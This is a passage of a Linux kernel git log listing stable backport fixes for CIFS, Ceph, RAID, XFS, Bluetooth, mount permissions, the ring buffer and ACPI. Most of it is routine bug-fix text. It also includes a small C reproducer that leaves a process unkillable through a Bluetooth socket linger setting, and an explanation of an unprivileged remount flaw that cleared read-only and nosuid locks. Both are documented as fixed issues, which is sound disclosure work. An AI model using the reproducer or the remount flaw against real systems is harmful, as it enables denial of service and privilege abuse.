the async read request sets a mid to retry, frees it and wakes up a process that waits on the rdata completion. After the connection is established we return from read_into_pages() with a short read, use the mid that was freed before and try to read the remaining data from the a newly created socket. Both actions are not what we want to do. In reconnect cases (-EAGAIN) we should not mask off the error with a short read but should return the error code instead. Acked-by: Jeff Layton Signed-off-by: Pavel Shilovsky Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8238614528c09b20ae1e5e298dc46d90d44d0894 Author: Pavel Shilovsky Date: Fri Jul 18 18:25:52 2014 +0400 CIFS: Fix STATUS_CANNOT_DELETE error mapping for SMB2 commit 21496687a79424572f46a84c690d331055f4866f upstream. The existing mapping causes unlink() call to return error after delete operation. Changing the mapping to -EACCES makes the client process the call like CIFS protocol does - reset dos attributes with ATTR_READONLY flag masked off and retry the operation. Signed-off-by: Pavel Shilovsky Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f6e0a903e38109ceda2c1a23603de12c6898e872 Author: Ilya Dryomov Date: Tue Sep 9 19:39:15 2014 +0400 libceph: do not hard code max auth ticket len commit c27a3e4d667fdcad3db7b104f75659478e0c68d8 upstream. We hard code cephx auth ticket buffer size to 256 bytes. This isn't enough for any moderate setups and, in case tickets themselves are not encrypted, leads to buffer overflows (ceph_x_decrypt() errors out, but ceph_decode_copy() doesn't - it's just a memcpy() wrapper). Since the buffer is allocated dynamically anyway, allocated it a bit later, at the point where we know how much is going to be needed. Fixes: http://tracker.ceph.com/issues/8979 Signed-off-by: Ilya Dryomov Reviewed-by: Sage Weil Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1f583fa41543557385a8f97e4dbf5c1a0967faf3 Author: Ilya Dryomov Date: Mon Sep 8 17:25:34 2014 +0400 libceph: add process_one_ticket() helper commit 597cda357716a3cf8d994cb11927af917c8d71fa upstream. Add a helper for processing individual cephx auth tickets. Needed for the next commit, which deals with allocating ticket buffers. (Most of the diff here is whitespace - view with git diff -b). Signed-off-by: Ilya Dryomov Reviewed-by: Sage Weil Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21e2d874cfe228e625bf7354645031dda2de6106 Author: Ilya Dryomov Date: Fri Aug 8 12:43:39 2014 +0400 libceph: set last_piece in ceph_msg_data_pages_cursor_init() correctly commit 5f740d7e1531099b888410e6bab13f68da9b1a4d upstream. Determining ->last_piece based on the value of ->page_offset + length is incorrect because length here is the length of the entire message. ->last_piece set to false even if page array data item length is <= PAGE_SIZE, which results in invalid length passed to ceph_tcp_{send,recv}page() and causes various asserts to fire. # cat pages-cursor-init.sh #!/bin/bash rbd create --size 10 --image-format 2 foo FOO_DEV=$(rbd map foo) dd if=/dev/urandom of=$FOO_DEV bs=1M &>/dev/null rbd snap create foo@snap rbd snap protect foo@snap rbd clone foo@snap bar # rbd_resize calls librbd rbd_resize(), size is in bytes ./rbd_resize bar $(((4 << 20) + 512)) rbd resize --size 10 bar BAR_DEV=$(rbd map bar) # trigger a 512-byte copyup -- 512-byte page array data item dd if=/dev/urandom of=$BAR_DEV bs=1M count=1 seek=5 The problem exists only in ceph_msg_data_pages_cursor_init(), ceph_msg_data_pages_advance() does the right thing. The size_t cast is unnecessary. Signed-off-by: Ilya Dryomov Reviewed-by: Sage Weil Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1a72a62851b583850e0009b00cdecf31c8601611 Author: NeilBrown Date: Thu Jul 31 10:16:29 2014 +1000 md/raid1,raid10: always abort recover on write error. commit 2446dba03f9dabe0b477a126cbeb377854785b47 upstream. Currently we don't abort recovery on a write error if the write error to the recovering device was triggerd by normal IO (as opposed to recovery IO). This means that for one bitmap region, the recovery might write to the recovering device for a few sectors, then not bother for subsequent sectors (as it never writes to failed devices). In this case the bitmap bit will be cleared, but it really shouldn't. The result is that if the recovering device fails and is then re-added (after fixing whatever hardware problem triggerred the failure), the second recovery won't redo the region it was in the middle of, so some of the device will not be recovered properly. If we abort the recovery, the region being processes will be cancelled (bit not cleared) and the whole region will be retried. As the bug can result in data corruption the patch is suitable for -stable. For kernels prior to 3.11 there is a conflict in raid10.c which will require care. Original-from: jiao hui Reported-and-tested-by: jiao hui Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4f1f938e2d38b041dd6e7593597dfc9fe35176de Author: Chris Mason Date: Tue Sep 2 12:12:52 2014 +1000 xfs: don't zero partial page cache pages during O_DIRECT writes commit 85e584da3212140ee80fd047f9058bbee0bc00d5 upstream. xfs is using truncate_pagecache_range to invalidate the page cache during DIO reads. This is different from the other filesystems who only invalidate pages during DIO writes. truncate_pagecache_range is meant to be used when we are freeing the underlying data structs from disk, so it will zero any partial ranges in the page. This means a DIO read can zero out part of the page cache page, and it is possible the page will stay in cache. buffered reads will find an up to date page with zeros instead of the data actually on disk. This patch fixes things by using invalidate_inode_pages2_range instead. It preserves the page cache invalidation, but won't zero any pages. [dchinner: catch error and warn if it fails. Comment.] Signed-off-by: Chris Mason Reviewed-by: Dave Chinner Reviewed-by: Brian Foster Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2900510e173dfd8942e46ad8e302c775d424d4a7 Author: Dave Chinner Date: Tue Sep 2 12:12:52 2014 +1000 xfs: don't zero partial page cache pages during O_DIRECT writes commit 834ffca6f7e345a79f6f2e2d131b0dfba8a4b67a upstream. Similar to direct IO reads, direct IO writes are using truncate_pagecache_range to invalidate the page cache. This is incorrect due to the sub-block zeroing in the page cache that truncate_pagecache_range() triggers. This patch fixes things by using invalidate_inode_pages2_range instead. It preserves the page cache invalidation, but won't zero any pages. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ebfd9176714b2c1afe079b65c424bdf7432e0e38 Author: Dave Chinner Date: Tue Sep 2 12:12:51 2014 +1000 xfs: don't dirty buffers beyond EOF commit 22e757a49cf010703fcb9c9b4ef793248c39b0c2 upstream. generic/263 is failing fsx at this point with a page spanning EOF that cannot be invalidated. The operations are: 1190 mapwrite 0x52c00 thru 0x5e569 (0xb96a bytes) 1191 mapread 0x5c000 thru 0x5d636 (0x1637 bytes) 1192 write 0x5b600 thru 0x771ff (0x1bc00 bytes) where 1190 extents EOF from 0x54000 to 0x5e569. When the direct IO write attempts to invalidate the cached page over this range, it fails with -EBUSY and so any attempt to do page invalidation fails. The real question is this: Why can't that page be invalidated after it has been written to disk and cleaned? Well, there's data on the first two buffers in the page (1k block size, 4k page), but the third buffer on the page (i.e. beyond EOF) is failing drop_buffers because it's bh->b_state == 0x3, which is BH_Uptodate | BH_Dirty. IOWs, there's dirty buffers beyond EOF. Say what? OK, set_buffer_dirty() is called on all buffers from __set_page_buffers_dirty(), regardless of whether the buffer is beyond EOF or not, which means that when we get to ->writepage, we have buffers marked dirty beyond EOF that we need to clean. So, we need to implement our own .set_page_dirty method that doesn't dirty buffers beyond EOF. This is messy because the buffer code is not meant to be shared and it has interesting locking issues on the buffer dirty bits. So just copy and paste it and then modify it to suit what we need. Note: the solutions the other filesystems and generic block code use of marking the buffers clean in ->writepage does not work for XFS. It still leaves dirty buffers beyond EOF and invalidations still fail. Hence rather than play whack-a-mole, this patch simply prevents those buffers from being dirtied in the first place. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0e8c64a9f6f7eccb6ddfbc8bb78f26f508d057ae Author: Dave Chinner Date: Mon Aug 4 12:43:26 2014 +1000 xfs: quotacheck leaves dquot buffers without verifiers commit 5fd364fee81a7888af806e42ed8a91c845894f2d upstream. When running xfs/305, I noticed that quotacheck was flushing dquot buffers that did not have the xfs_dquot_buf_ops verifiers attached: XFS (vdb): _xfs_buf_ioapply: no ops on block 0x1dc8/0x1dc8 ffff880052489000: 44 51 01 04 00 00 65 b8 00 00 00 00 00 00 00 00 DQ....e......... ffff880052489010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ffff880052489020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ffff880052489030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ CPU: 1 PID: 2376 Comm: mount Not tainted 3.16.0-rc2-dgc+ #306 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 ffff88006fe38000 ffff88004a0ffae8 ffffffff81cf1cca 0000000000000001 ffff88004a0ffb88 ffffffff814d50ca 000010004a0ffc70 0000000000000000 ffff88006be56dc4 0000000000000021 0000000000001dc8 ffff88007c773d80 Call Trace: [] dump_stack+0x45/0x56 [] _xfs_buf_ioapply+0x3ca/0x3d0 [] ? wake_up_state+0x20/0x20 [] ? xfs_bdstrat_cb+0x55/0xb0 [] xfs_buf_iorequest+0x6b/0xd0 [] xfs_bdstrat_cb+0x55/0xb0 [] __xfs_buf_delwri_submit+0x15b/0x220 [] ? xfs_buf_delwri_submit+0x30/0x90 [] xfs_buf_delwri_submit+0x30/0x90 [] xfs_qm_quotacheck+0x17d/0x3c0 [] xfs_qm_mount_quotas+0x151/0x1e0 [] xfs_mountfs+0x56c/0x7d0 [] xfs_fs_fill_super+0x2c2/0x340 [] mount_bdev+0x194/0x1d0 [] ? xfs_finish_flags+0x170/0x170 [] xfs_fs_mount+0x15/0x20 [] mount_fs+0x39/0x1b0 [] vfs_kern_mount+0x67/0x120 [] do_mount+0x23e/0xad0 [] ? __get_free_pages+0xe/0x50 [] ? copy_mount_options+0x36/0x150 [] SyS_mount+0x83/0xc0 [] tracesys+0xdd/0xe2 This was caused by dquot buffer readahead not attaching a verifier structure to the buffer when readahead was issued, resulting in the followup read of the buffer finding a valid buffer and so not attaching new verifiers to the buffer as part of the read. Also, when a verifier failure occurs, we then read the buffer without verifiers. Attach the verifiers manually after this read so that if the buffer is then written it will be verified that the corruption has been repaired. Further, when flushing a dquot we don't ask for a verifier when reading in the dquot buffer the dquot belongs to. Most of the time this isn't an issue because the buffer is still cached, but when it is not cached it will result in writing the dquot buffer without having the verfier attached. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 245b65d140358465f328f91cfa2be875de9d303e Author: Steve Wise Date: Fri Jul 25 09:11:33 2014 -0500 RDMA/iwcm: Use a default listen backlog if needed commit 2f0304d21867476394cd51a54e97f7273d112261 upstream. If the user creates a listening cm_id with backlog of 0 the IWCM ends up not allowing any connection requests at all. The correct behavior is for the IWCM to pick a default value if the user backlog parameter is zero. Lustre from version 1.8.8 onward uses a backlog of 0, which breaks iwarp support without this fix. Signed-off-by: Steve Wise Signed-off-by: Roland Dreier Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit edd172b0a70ef7b88f335d0cc5ee88b7f273b437 Author: NeilBrown Date: Mon Aug 18 13:59:50 2014 +1000 md/raid10: Fix memory leak when raid10 reshape completes. commit b39685526f46976bcd13aa08c82480092befa46c upstream. When a raid10 commences a resync/recovery/reshape it allocates some buffer space. When a resync/recovery completes the buffer space is freed. But not when the reshape completes. This can result in a small memory leak. There is a subtle side-effect of this bug. When a RAID10 is reshaped to a larger array (more devices), the reshape is immediately followed by a "resync" of the new space. This "resync" will use the buffer space which was allocated for "reshape". This can cause problems including a "BUG" in the SCSI layer. So this is suitable for -stable. Fixes: 3ea7daa5d7fde47cd41f4d56c2deb949114da9d6 Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6571b1beb66f9151631604a3f3ab8c35571e4925 Author: NeilBrown Date: Mon Aug 18 13:56:38 2014 +1000 md/raid10: fix memory leak when reshaping a RAID10. commit ce0b0a46955d1bb389684a2605dbcaa990ba0154 upstream. raid10 reshape clears unwanted bits from a bio->bi_flags using a method which, while clumsy, worked until 3.10 when BIO_OWNS_VEC was added. Since then it clears that bit but shouldn't. This results in a memory leak. So change to used the approved method of clearing unwanted bits. As this causes a memory leak which can consume all of memory the fix is suitable for -stable. Fixes: a38352e0ac02dbbd4fa464dc22d1352b5fbd06fd Reported-by: mdraid.pkoch@dfgh.net (Peter Koch) Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cdc336c7460543026eccfab3f05bea8e2bab318a Author: NeilBrown Date: Wed Aug 13 09:57:07 2014 +1000 md/raid6: avoid data corruption during recovery of double-degraded RAID6 commit 9c4bdf697c39805078392d5ddbbba5ae5680e0dd upstream. During recovery of a double-degraded RAID6 it is possible for some blocks not to be recovered properly, leading to corruption. If a write happens to one block in a stripe that would be written to a missing device, and at the same time that stripe is recovering data to the other missing device, then that recovered data may not be written. This patch skips, in the double-degraded case, an optimisation that is only safe for single-degraded arrays. Bug was introduced in 2.6.32 and fix is suitable for any kernel since then. In an older kernel with separate handle_stripe5() and handle_stripe6() functions the patch must change handle_stripe6(). Fixes: 6c0069c0ae9659e3a91b68eaed06a5c6c37f45c8 Cc: Yuri Tikhonov Cc: Dan Williams Reported-by: "Manibalan P" Tested-by: "Manibalan P" Resolves: https://bugzilla.redhat.com/show_bug.cgi?id=1090423 Signed-off-by: NeilBrown Acked-by: Dan Williams Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0f4a291f67d7724c8704ed8499b2770de36bd4a8 Author: Vignesh Raman Date: Tue Jul 22 19:24:25 2014 +0530 Bluetooth: Avoid use of session socket after the session gets freed commit 32333edb82fb2009980eefc5518100068147ab82 upstream. The commits 08c30aca9e698faddebd34f81e1196295f9dc063 "Bluetooth: Remove RFCOMM session refcnt" and 8ff52f7d04d9cc31f1e81dcf9a2ba6335ed34905 "Bluetooth: Return RFCOMM session ptrs to avoid freed session" allow rfcomm_recv_ua and rfcomm_session_close to delete the session (and free the corresponding socket) and propagate NULL session pointer to the upper callers. Additional fix is required to terminate the loop in rfcomm_process_rx function to avoid use of freed 'sk' memory. The issue is only reproducible with kernel option CONFIG_PAGE_POISONING enabled making freed memory being changed and filled up with fixed char value used to unmask use-after-free issues. Signed-off-by: Vignesh Raman Signed-off-by: Vitaly Kuzmichev Acked-by: Dean Jenkins Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3a78ecb308771219a2c3ebc2df8e08119573630e Author: Vladimir Davydov Date: Tue Jul 15 12:25:28 2014 +0400 Bluetooth: never linger on process exit commit 093facf3634da1b0c2cc7ed106f1983da901bbab upstream. If the current process is exiting, lingering on socket close will make it unkillable, so we should avoid it. Reproducer: #include #include #define BTPROTO_L2CAP 0 #define BTPROTO_SCO 2 #define BTPROTO_RFCOMM 3 int main() { int fd; struct linger ling; fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM); //or: fd = socket(PF_BLUETOOTH, SOCK_DGRAM, BTPROTO_L2CAP); //or: fd = socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO); ling.l_onoff = 1; ling.l_linger = 1000000000; setsockopt(fd, SOL_SOCKET, SO_LINGER, &ling, sizeof(ling)); return 0; } Signed-off-by: Vladimir Davydov Signed-off-by: Marcel Holtmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cec369a90363ee9fef35b3da6a8f0ea1032a1135 Author: Eric W. Biederman Date: Tue Jul 29 15:50:44 2014 -0700 mnt: Add tests for unprivileged remount cases that have found to be faulty commit db181ce011e3c033328608299cd6fac06ea50130 upstream. Kenton Varda discovered that by remounting a read-only bind mount read-only in a user namespace the MNT_LOCK_READONLY bit would be cleared, allowing an unprivileged user to the remount a read-only mount read-write. Upon review of the code in remount it was discovered that the code allowed nosuid, noexec, and nodev to be cleared. It was also discovered that the code was allowing the per mount atime flags to be changed. The first naive patch to fix these issues contained the flaw that using default atime settings when remounting a filesystem could be disallowed. To avoid this problems in the future add tests to ensure unprivileged remounts are succeeding and failing at the appropriate times. Acked-by: Serge E. Hallyn Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit de4b252e56527eaa20e06d7545b5e75c4bfe1c31 Author: Eric W. Biederman Date: Mon Jul 28 17:36:04 2014 -0700 mnt: Change the default remount atime from relatime to the existing value commit ffbc6f0ead47fa5a1dc9642b0331cb75c20a640e upstream. Since March 2009 the kernel has treated the state that if no MS_..ATIME flags are passed then the kernel defaults to relatime. Defaulting to relatime instead of the existing atime state during a remount is silly, and causes problems in practice for people who don't specify any MS_...ATIME flags and to get the default filesystem atime setting. Those users may encounter a permission error because the default atime setting does not work. A default that does not work and causes permission problems is ridiculous, so preserve the existing value to have a default atime setting that is always guaranteed to work. Using the default atime setting in this way is particularly interesting for applications built to run in restricted userspace environments without /proc mounted, as the existing atime mount options of a filesystem can not be read from /proc/mounts. In practice this fixes user space that uses the default atime setting on remount that are broken by the permission checks keeping less privileged users from changing more privileged users atime settings. Acked-by: Serge E. Hallyn Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7fe371824b6b32de7216f94b5cf4e69003f7518a Author: Eric W. Biederman Date: Mon Jul 28 17:26:07 2014 -0700 mnt: Correct permission checks in do_remount commit 9566d6742852c527bf5af38af5cbb878dad75705 upstream. While invesgiating the issue where in "mount --bind -oremount,ro ..." would result in later "mount --bind -oremount,rw" succeeding even if the mount started off locked I realized that there are several additional mount flags that should be locked and are not. In particular MNT_NOSUID, MNT_NODEV, MNT_NOEXEC, and the atime flags in addition to MNT_READONLY should all be locked. These flags are all per superblock, can all be changed with MS_BIND, and should not be changable if set by a more privileged user. The following additions to the current logic are added in this patch. - nosuid may not be clearable by a less privileged user. - nodev may not be clearable by a less privielged user. - noexec may not be clearable by a less privileged user. - atime flags may not be changeable by a less privileged user. The logic with atime is that always setting atime on access is a global policy and backup software and auditing software could break if atime bits are not updated (when they are configured to be updated), and serious performance degradation could result (DOS attack) if atime updates happen when they have been explicitly disabled. Therefore an unprivileged user should not be able to mess with the atime bits set by a more privileged user. The additional restrictions are implemented with the addition of MNT_LOCK_NOSUID, MNT_LOCK_NODEV, MNT_LOCK_NOEXEC, and MNT_LOCK_ATIME mnt flags. Taken together these changes and the fixes for MNT_LOCK_READONLY should make it safe for an unprivileged user to create a user namespace and to call "mount --bind -o remount,... ..." without the danger of mount flags being changed maliciously. Acked-by: Serge E. Hallyn Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7e6355c70d3e6270f809054a2dce85543169c369 Author: Eric W. Biederman Date: Mon Jul 28 17:10:56 2014 -0700 mnt: Move the test for MNT_LOCK_READONLY from change_mount_flags into do_remount commit 07b645589dcda8b7a5249e096fece2a67556f0f4 upstream. There are no races as locked mount flags are guaranteed to never change. Moving the test into do_remount makes it more visible, and ensures all filesystem remounts pass the MNT_LOCK_READONLY permission check. This second case is not an issue today as filesystem remounts are guarded by capable(CAP_DAC_ADMIN) and thus will always fail in less privileged mount namespaces, but it could become an issue in the future. Acked-by: Serge E. Hallyn Signed-off-by: "Eric W. Biederman" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 125ce57382e852fb607d3d3d9889e731ceb2e8f5 Author: Steven Rostedt (Red Hat) Date: Wed Aug 6 15:36:31 2014 -0400 ring-buffer: Up rb_iter_peek() loop count to 3 commit 021de3d904b88b1771a3a2cfc5b75023c391e646 upstream. After writting a test to try to trigger the bug that caused the ring buffer iterator to become corrupted, I hit another bug: WARNING: CPU: 1 PID: 5281 at kernel/trace/ring_buffer.c:3766 rb_iter_peek+0x113/0x238() Modules linked in: ipt_MASQUERADE sunrpc [...] CPU: 1 PID: 5281 Comm: grep Tainted: G W 3.16.0-rc3-test+ #143 Hardware name: To Be Filled By O.E.M. To Be Filled By O.E.M./To be filled by O.E.M., BIOS SDBLI944.86P 05/08/2007 0000000000000000 ffffffff81809a80 ffffffff81503fb0 0000000000000000 ffffffff81040ca1 ffff8800796d6010 ffffffff810c138d ffff8800796d6010 ffff880077438c80 ffff8800796d6010 ffff88007abbe600 0000000000000003 Call Trace: [] ? dump_stack+0x4a/0x75 [] ? warn_slowpath_common+0x7e/0x97 [] ? rb_iter_peek+0x113/0x238 [] ? rb_iter_peek+0x113/0x238 [] ? ring_buffer_iter_peek+0x2d/0x5c [] ? tracing_iter_reset+0x6e/0x96 [] ? s_start+0xd7/0x17b [] ? kmem_cache_alloc_trace+0xda/0xea [] ? seq_read+0x148/0x361 [] ? vfs_read+0x93/0xf1 [] ? SyS_read+0x60/0x8e [] ? tracesys+0xdd/0xe2 Debugging this bug, which triggers when the rb_iter_peek() loops too many times (more than 2 times), I discovered there's a case that can cause that function to legitimately loop 3 times! rb_iter_peek() is different than rb_buffer_peek() as the rb_buffer_peek() only deals with the reader page (it's for consuming reads). The rb_iter_peek() is for traversing the buffer without consuming it, and as such, it can loop for one more reason. That is, if we hit the end of the reader page or any page, it will go to the next page and try again. That is, we have this: 1. iter->head > iter->head_page->page->commit (rb_inc_iter() which moves the iter to the next page) try again 2. event = rb_iter_head_event() event->type_len == RINGBUF_TYPE_TIME_EXTEND rb_advance_iter() try again 3. read the event. But we never get to 3, because the count is greater than 2 and we cause the WARNING and return NULL. Up the counter to 3. Fixes: 69d1b839f7ee "ring-buffer: Bind time extend and data events together" Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd858a14d39cc26e6ff52df7d1efbd851bbdf944 Author: Steven Rostedt (Red Hat) Date: Wed Aug 6 14:11:33 2014 -0400 ring-buffer: Always reset iterator to reader page commit 651e22f2701b4113989237c3048d17337dd2185c upstream. When performing a consuming read, the ring buffer swaps out a page from the ring buffer with a empty page and this page that was swapped out becomes the new reader page. The reader page is owned by the reader and since it was swapped out of the ring buffer, writers do not have access to it (there's an exception to that rule, but it's out of scope for this commit). When reading the "trace" file, it is a non consuming read, which means that the data in the ring buffer will not be modified. When the trace file is opened, a ring buffer iterator is allocated and writes to the ring buffer are disabled, such that the iterator will not have issues iterating over the data. Although the ring buffer disabled writes, it does not disable other reads, or even consuming reads. If a consuming read happens, then the iterator is reset and starts reading from the beginning again. My tests would sometimes trigger this bug on my i386 box: WARNING: CPU: 0 PID: 5175 at kernel/trace/trace.c:1527 __trace_find_cmdline+0x66/0xaa() Modules linked in: CPU: 0 PID: 5175 Comm: grep Not tainted 3.16.0-rc3-test+ #8 Hardware name: /DG965MQ, BIOS MQ96510J.86A.0372.2006.0605.1717 06/05/2006 00000000 00000000 f09c9e1c c18796b3 c1b5d74c f09c9e4c c103a0e3 c1b5154b f09c9e78 00001437 c1b5d74c 000005f7 c10bd85a c10bd85a c1cac57c f09c9eb0 ed0e0000 f09c9e64 c103a185 00000009 f09c9e5c c1b5154b f09c9e78 f09c9e80^M Call Trace: [] dump_stack+0x4b/0x75 [] warn_slowpath_common+0x7e/0x95 [] ? __trace_find_cmdline+0x66/0xaa [] ? __trace_find_cmdline+0x66/0xaa [] warn_slowpath_fmt+0x33/0x35 [] __trace_find_cmdline+0x66/0xaa^M [] trace_find_cmdline+0x40/0x64 [] trace_print_context+0x27/0xec [] ? trace_seq_printf+0x37/0x5b [] print_trace_line+0x319/0x39b [] ? ring_buffer_read+0x47/0x50 [] s_show+0x192/0x1ab [] ? s_next+0x5a/0x7c [] seq_read+0x267/0x34c [] vfs_read+0x8c/0xef [] ? seq_lseek+0x154/0x154 [] SyS_read+0x54/0x7f [] syscall_call+0x7/0xb ---[ end trace 3f507febd6b4cc83 ]--- >>>> ##### CPU 1 buffer started #### Which was the __trace_find_cmdline() function complaining about the pid in the event record being negative. After adding more test cases, this would trigger more often. Strangely enough, it would never trigger on a single test, but instead would trigger only when running all the tests. I believe that was the case because it required one of the tests to be shutting down via delayed instances while a new test started up. After spending several days debugging this, I found that it was caused by the iterator becoming corrupted. Debugging further, I found out why the iterator became corrupted. It happened with the rb_iter_reset(). As consuming reads may not read the full reader page, and only part of it, there's a "read" field to know where the last read took place. The iterator, must also start at the read position. In the rb_iter_reset() code, if the reader page was disconnected from the ring buffer, the iterator would start at the head page within the ring buffer (where writes still happen). But the mistake there was that it still used the "read" field to start the iterator on the head page, where it should always start at zero because readers never read from within the ring buffer where writes occur. I originally wrote a patch to have it set the iter->head to 0 instead of iter->head_page->read, but then I questioned why it wasn't always setting the iter to point to the reader page, as the reader page is still valid. The list_empty(reader_page->list) just means that it was successful in swapping out. But the reader_page may still have data. There was a bug report a long time ago that was not reproducible that had something about trace_pipe (consuming read) not matching trace (iterator read). This may explain why that happened. Anyway, the correct answer to this bug is to always use the reader page an not reset the iterator to inside the writable ring buffer. Fixes: d769041f8653 "ring_buffer: implement new locking" Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 339008b9cbbd4dc2efe84a23b61e4f211990dd89 Author: Jiri Kosina Date: Wed Sep 3 15:04:28 2014 +0200 ACPI / cpuidle: fix deadlock between cpuidle_lock and cpu_hotplug.lock commit 6726655dfdd2dc60c035c690d9f10cb69d7ea075 upstream. There is a following AB-BA dependency between cpu_hotplug.lock and cpuidle_lock: 1) cpu_hotplug.lock -> cpuidle_lock enable_nonboot_cpus() _cpu_up() cpu_hotplug_begin() LOCK(cpu_hotplug.lock) cpu_notify() ... acpi_processor_hotplug() cpuidle_pause_and_lock() LOCK(cpuidle_lock) 2) cpuidle_lock -> cpu_hotplug.lock acpi_os_execute_deferred() workqueue ... acpi_processor_cst_has_changed() cpuidle_pause_and_lock() LOCK(cpuidle_lock) get_online_cpus() LOCK(cpu_hotplug.lock) Fix this by reversing the order acpi_processor_cst_has_changed() does thigs -- let it first execute the protection against CPU hotplug by calling get_online_cpus() and obtain the cpuidle lock only after that (and perform the symmentric change when allowing CPUs hotplug again and dropping cpuidle lock). Spotted by lockdep. Signed-off-by: Jiri Kosina Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d10b45d2cc818d81a52d5d7fc446767521add887 Author: Lan Tianyu Date: Tue Aug 26 01:29:24 2014 +0200 ACPI: Run fixed event device notifications in process context commit 236105db632c6279a020f78c83e22eaef746006b upstream. Currently, notify callbacks for fixed button events are run from interrupt context. That is not necessary and after commit 0bf6368ee8f2 (ACPI / button: Add ACPI Button event via netlink routine) it causes netlink routines to be called from interrupt context which is not correct. Also, that is different from non-fixed device events (including non-fixed button events) whose notify callbacks are all executed from process context. For the above reasons, make fixed button device notify callbacks run in process context which will avoid the deadlock when using netlink to report button events to user space. Fixes: 0bf6368ee8f2 (ACPI / button: Add ACPI Button event via netlink routine) Link: https://lkml.org/lkml/2014/8/21/606 Reported-by: Benjamin Block Reported-by: Knut Petersen Signed-off-by: Lan Tianyu [rjw: Function names, subject and changelog.] Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 04545be2a869cc3e2e0c239c2fc44fdaade13f58 Author: David E. Box Date: Tue Jul 8 10:05:52 2014 +0800 ACPICA: Utilities: Fix memory leak in acpi_ut_copy_iobject_to_iobject commit 8aa5e56eeb61a099ea6519eb30ee399e1bc043ce upstream. Adds return status check on copy routines to delete the allocated destination object if either copy fails. Reported by Colin Ian King on bugs.acpica.org, Bug 1087. The last applicable commit: Commit: 3371c19c294a4cb3649aa4e84606be8a1d999e61 Subject: ACPICA: Remove ACPI_GET_OBJECT_TYPE macro Link: https://bugs.acpica.org/show_bug.cgi?id=1087 Reported-by: Colin Ian King Signed-off-by: David E. Box Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a34a4e45af89ca85b7c8b0f51e1acd845ec2af9e Author: Ben Hutchings Date: Sun Jun 8 23:33:25 2014 +0100 bfa: Fix undefined bit shift on big-endian architectures with 32-bit DMA address commit 03a6c3ff3282ee9fa893089304d951e0be93a144 upstream. bfa_swap_words() shifts its argument (assumed to be 64-bit) by 32 bits each way. In two places the argument type is dma_addr_t, which may be 32-bit, in which case the effect of the bit shift is undefined: drivers/scsi/bfa/bfa_fcpim.c: In function 'bfa_ioim_send_ioreq': drivers/scsi/bfa/bfa_fcpim.c:2497:4: warning: left shift count >= width of type [enabled by default] addr = bfa_sgaddr_le(sg_dma_address(sg)); ^ drivers/scsi/bfa/bfa_fcpim.c:2497:4: warning: right shift count >= width of type [enabled by default] drivers/scsi/bfa/bfa_fcpim.c:2509:4: warning: left shift count >= width of type [enabled by default] addr = bfa_sgaddr_le(sg_dma_address(sg)); ^ drivers/scsi/bfa/bfa_fcpim.c:2509:4: warning: right shift count >= width of type [enabled by default] Avoid this by adding casts to u64 in bfa_swap_words(). Compile-tested only. Signed-off-by: Ben Hutchings Reviewed-by: Martin K. Petersen Acked-by: Anil Gurumurthy Fixes: f16a17507b09 ('[SCSI] bfa: remove all OS wrappers') Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 099bee40c58dcc7312780fad1683fdc54f0d2d16 Author: Daniel Mack Date: Wed Aug 13 21:51:06 2014 +0200 ASoC: pxa-ssp: drop SNDRV_PCM_FMTBIT_S24_LE commit 9301503af016eb537ccce76adec0c1bb5c84871e upstream. This mode is unsupported, as the DMA controller can't do zero-padding of samples. 